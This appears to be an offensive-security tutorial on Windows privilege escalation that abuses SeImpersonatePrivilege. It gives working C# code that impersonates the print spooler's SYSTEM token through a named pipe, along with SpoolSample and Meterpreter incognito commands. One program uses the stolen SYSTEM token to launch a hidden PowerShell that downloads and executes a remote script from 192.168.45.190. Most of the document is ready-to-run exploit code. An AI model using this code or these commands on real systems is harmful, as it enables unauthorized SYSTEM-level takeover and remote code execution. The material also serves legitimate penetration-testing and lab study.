SeImpersonatePrivilege

The SeImpersonatePrivilege privilege allows us to impersonate any token that we can get a HANDLE to. Built-in accounts like Network Service, Local Service, and the default IIS account have this privilege assigned by default.

A useful technique for privilege escalation is to invoke the DuplicateTokenEx API to create a primary token from a user’s impersonated token, allowing us to create a new process in the context of the impersonated user. Alternatively, when no tokens related to other users are available in process memory, we can request the SYSTEM account to provide us a token we can use for impersonation.

The SharpGetSystem proof of concept demonstrates this using C#, installing the current console process as a service and getting the service to connect to the named pipe, enabling the console service to escalate to the SYSTEM account.

Abusing the print spooler

The Windows print spooler process runs with the context of SYSTEM and monitors printer object changes and sends change notifications to print client by connecting to a client’s named pipe. A process that has the SeImpersonatePrivilege privilege can use the ImpersonateNamedPipeClient to acquire an impersonation access token from the print spooler process after it successfully establishes a connection to its named pipe.

Using the following C# .NET code shamelessly stolen from SharpGetSystem, we can create a named pipe for the print spooler to connect to. Once a connection is established, we’ll use our SeImpersonatePrivilege privilege to impersonate SYSTEM’s access token, gather information about the token, and print the SYSTEM’s security identifier (SID):

using System.Runtime.InteropServices;
 
namespace Pwn
{
class Program
{
    public const uint SECURITY_SQOS_PRESENT = 0x00100000;
    public const uint SECURITY_ANONYMOUS = 0 << 16;
    public const uint SECURITY_IDENTIFICATION = 1 << 16;
    public const uint SECURITY_IMPERSONATION = 2 << 16;
    public const uint SECURITY_DELEGATION = 3 << 16;
 
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        [MarshalAs(UnmanagedType.LPTStr)] string filename,
        [MarshalAs(UnmanagedType.U4)] FileAccess access,
        uint share,
        IntPtr securityAttributes,
        [MarshalAs(UnmanagedType.U4)] FileMode creationDisposition,
        uint flagsAndAttributes,
        IntPtr templateFile
    );
 
    static void Main(string[] args)
    {
        if (args.Length == 0)
        {
            Console.WriteLine("Usage: Pwn.exe pipename");
            return;
        }
 
        string pipeName = args[0];
 
        // create a file for the named pipe
        IntPtr hfile = CreateFile(
            pipeName,
            FileAccess.Read,
            0,
            IntPtr.Zero,
            FileMode.Open,
            SECURITY_SQOS_PRESENT | SECURITY_IMPERSONATION |
                SECURITY_DELEGATION,
            IntPtr.Zero
        );
 
        // create a named pipe and block for inbound connections
        IntPtr hPipe = Pinvoke.CreateNamedPipe(
            pipeName,
            3,
            0,
            255,
            0x1000,
            0x1000,
            0,
            IntPtr.Zero
        );
 
        // wait for incoming pipe client
        Pinvoke.ConnectNamedPipe(hPipe, IntPtr.Zero);
 
        // impersonate pipe client's access token
        Pinvoke.ImpersonateNamedPipeClient(hPipe);
 
        // get a handle to this thread's access token
        IntPtr hToken;
        Pinvoke.OpenThreadToken(
            Pinvoke.GetCurrentThread(),
            0xF01FF,
            false,
            out hToken
        );
 
        // get access token information length
        Pinvoke.GetTokenInformation(
            hToken,
            1, // TOKEN_INFORMATION_CLASS == TokenUser
            IntPtr.Zero,
            0,
            out int TokenInfLength
        );
 
        // get access token information
        IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength);
        Pinvoke.GetTokenInformation(
            hToken,
            1,
            TokenInformation,
            TokenInfLength,
            out _
        );
 
        // get access token SID
        Pinvoke.TOKEN_USER TokenUser = (Pinvoke.TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(Pinvoke.TOKEN_USER));
        Pinvoke.ConvertSidToStringSid(TokenUser.User.Sid, out IntPtr pStr);
        string sSID = Marshal.PtrToStringAuto(pStr);
        Console.WriteLine(@"Found sid {0}", sSID);
    }
}
}

We compile and invoke Pwn.exe with the following:

.\Pwn.exe \\.\pipe\test\pipe\spoolss

Using SpoolSample we can get the print spooler to establish a connection to our named pipe, enabling us to impersonate the token. Invoke the following:

.\SpoolSample.exe ${COMPUTERNAME} ${COMPUTERNAME}/pipe/test

After a couple of seconds, Pwn.exe should report the SID of SYSTEM!

Popping a shell

The following C# .NET code will impersonate a SYSTEM token and use it to create a new process, executing an arbitrary command:

namespace Pwn;
 
class Program
{
    public const uint SECURITY_SQOS_PRESENT = 0x00100000;
    public const uint SECURITY_IMPERSONATION = 2 << 16;
    public const uint SECURITY_DELEGATION = 3 << 16;
    public const uint TOKEN_ALL_ACCESS = 0xF01FF;
 
    static void Main(string[] args)
    {
        if (args.Length == 0)
        {
            Console.WriteLine("Usage: Pwn.exe pipename");
            return;
        }
 
        string pipeName = args[0];
 
        // create a file for the named pipe
        Pinvoke.CreateFile(
            pipeName,
            FileAccess.Read,
            0,
            IntPtr.Zero,
            FileMode.Open,
            SECURITY_SQOS_PRESENT | SECURITY_IMPERSONATION |
                SECURITY_DELEGATION,
            IntPtr.Zero
        );
 
        // create a named pipe and block for inbound connections
        IntPtr hPipe = Pinvoke.CreateNamedPipe(
            pipeName,
            3,
            0,
            255,
            0x1000,
            0x1000,
            0,
            IntPtr.Zero
        );
 
        // wait for incoming pipe client
        Pinvoke.ConnectNamedPipe(hPipe, IntPtr.Zero);
 
        // impersonate pipe client's access token
        Pinvoke.ImpersonateNamedPipeClient(hPipe);
 
        // get a handle to this thread's access token
        Pinvoke.OpenThreadToken(
            Pinvoke.GetCurrentThread(),
            TOKEN_ALL_ACCESS,
            false,
            out IntPtr hToken
        );
 
        // duplicate access token
        Pinvoke.DuplicateTokenEx(
            hToken,
            TOKEN_ALL_ACCESS,
            IntPtr.Zero,
            2,
            1,
            out IntPtr hSystemToken
        );
 
        // create new process
        Pinvoke.STARTUPINFO startupInfo = new(
        ) { dwFlags = (int)Pinvoke.STARTF.STARTF_USESHOWWINDOW,
            wShowWindow = (short)Pinvoke.SHOWWINDOW.SW_HIDE };
 
        Pinvoke.CreateProcessWithTokenW(
            hSystemToken,
            0,
            null,
            "powershell -Command \"(Invoke-RestMethod -Uri 'http://192.168.45.190:80/Payload.ps1' -UseBasicParsing) | Invoke-Expression\"",
            (uint)Pinvoke.CreateProcessFlags.CREATE_NO_WINDOW,
            IntPtr.Zero,
            null,
            ref startupInfo,
            out Pinvoke.PROCESS_INFORMATION _
        );
    }
}

Meterpreter incognito

With a SYSTEM level meterpreter agent, we can use the incognito module to impersonate users’ tokens. Here are some example invocations:

load incognito # load the module
list_tokens -u # list tokens available
impersonate_token ${DOMAIN}\\${USERNAME} # impersonate a user
getuid # verify you pwned that user